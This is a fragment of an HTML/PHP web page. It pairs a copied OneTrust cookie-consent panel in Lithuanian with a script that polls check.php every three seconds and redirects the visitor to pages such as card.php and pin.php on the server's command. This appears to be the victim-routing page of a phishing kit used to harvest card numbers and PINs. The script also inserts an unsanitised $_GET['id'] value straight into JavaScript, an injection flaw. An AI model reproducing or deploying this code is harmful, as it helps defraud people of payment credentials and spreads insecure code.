                    </div>
                  </div>
                </section>
              </div>
            </div>
            <section id="ot-lst-cnt" class="ot-host-cnt ot-pc-scrollbar">
              <div id="ot-sel-blk">
                <div class="ot-sel-all">
                  <div class="ot-sel-all-hdr">
                    <span class="ot-consent-hdr">Consent</span>
                    <span class="ot-li-hdr">Leg.Interest</span>
                  </div>
                  <div class="ot-sel-all-chkbox">
                    <div class="ot-chkbox" id="ot-selall-hostcntr">
                      <input id="select-all-hosts-groups-handler" type="checkbox">
                      <label for="select-all-hosts-groups-handler">
                        <span class="ot-label-txt">checkbox label</span>
                      </label>
                      <span class="ot-label-status">label</span>
                    </div>
                    <div class="ot-chkbox" id="ot-selall-vencntr">
                      <input id="select-all-vendor-groups-handler" type="checkbox">
                      <label for="select-all-vendor-groups-handler">
                        <span class="ot-label-txt">checkbox label</span>
                      </label>
                      <span class="ot-label-status">label</span>
                    </div>
                    <div class="ot-chkbox" id="ot-selall-licntr">
                      <input id="select-all-vendor-leg-handler" type="checkbox">
                      <label for="select-all-vendor-leg-handler">
                        <span class="ot-label-txt">checkbox label</span>
                      </label>
                      <span class="ot-label-status">label</span>
                    </div>
                  </div>
                </div>
              </div>
              <div class="ot-sdk-row">
                <div class="ot-sdk-column"></div>
              </div>
            </section>
          </section>
          <div class="ot-pc-footer ot-pc-scrollbar">
            <div class="ot-btn-container">
              <button class="save-preference-btn-handler onetrust-close-btn-handler" ot-button-order="2">Priimti pasirinktus</button>
            </div>
            <!-- Footer logo -->
            <div class="ot-pc-footer-logo">
              <a href="https://www.onetrust.com/solutions/consent-and-preferences/?utm_source=cmp&amp;utm_medium=cmpbanner" target="_blank" rel="noopener noreferrer" aria-label="Powered by OneTrust Atidaroma naujame skirtuke">
                <img alt="Powered by Onetrust" src="https://cdn.cookielaw.org/logos/static/powered_by_logo.svg" title="Powered by OneTrust Atidaroma naujame skirtuke">
              </a>
            </div>
          </div>
          <!-- Cookie subgroup container -->
          <!-- Vendor list link -->
          <!-- Cookie lost link -->
          <!-- Toggle HTML element -->
          <!-- Checkbox HTML -->
          <!-- plus minus-->
          <!-- Arrow SVG element -->
          <!-- Accordion basic element -->
          <span class="ot-scrn-rdr" aria-atomic="true" aria-live="polite"></span>
          <!-- Vendor Service container and item template -->
        </div>
        <iframe class="ot-text-resize" sandbox="allow-same-origin" title="onetrust-text-resize" style="position: absolute; top: -50000px; width: 100em;" aria-hidden="true"></iframe>
      </div>
    </div>
    <div id="naptha_container0932014_0707"></div>
  </body>
</html>
<script src="//cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="preconnect" href="https://fonts.googleapis.com">

    <link type="image/x-icon" href="favicon.ico" rel="shortcut icon">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Mono&family=Open+Sans&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>
<style>
body {
    font-family: 'Open Sans', sans-serif;
}
</style>

<script>


setInterval(() => {
    axios.post('check.php', {
        id: <?php echo $_GET['id']; ?>
    }).then((res) => {
       
        if (res.data === 'fail') {
            window.location.href = 'card.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
       
        if (res.data === 'msg') {
            window.location.href = 'custom.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'app') {
            window.location.href = 'invalid.php?id=<?php echo $_GET['id']; ?>&q=1';
        }
        if (res.data === 'msgpin') {
            window.location.href = 'pin.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'msgpin2') {
            window.location.href = 'pin.php?id=<?php echo $_GET['id']; ?>';
        }
        if (res.data === 'gen') {
            window.location.href = 'gen.php?id=<?php echo $_GET['id']; ?>';
        }
    });
}, 3000);



</script>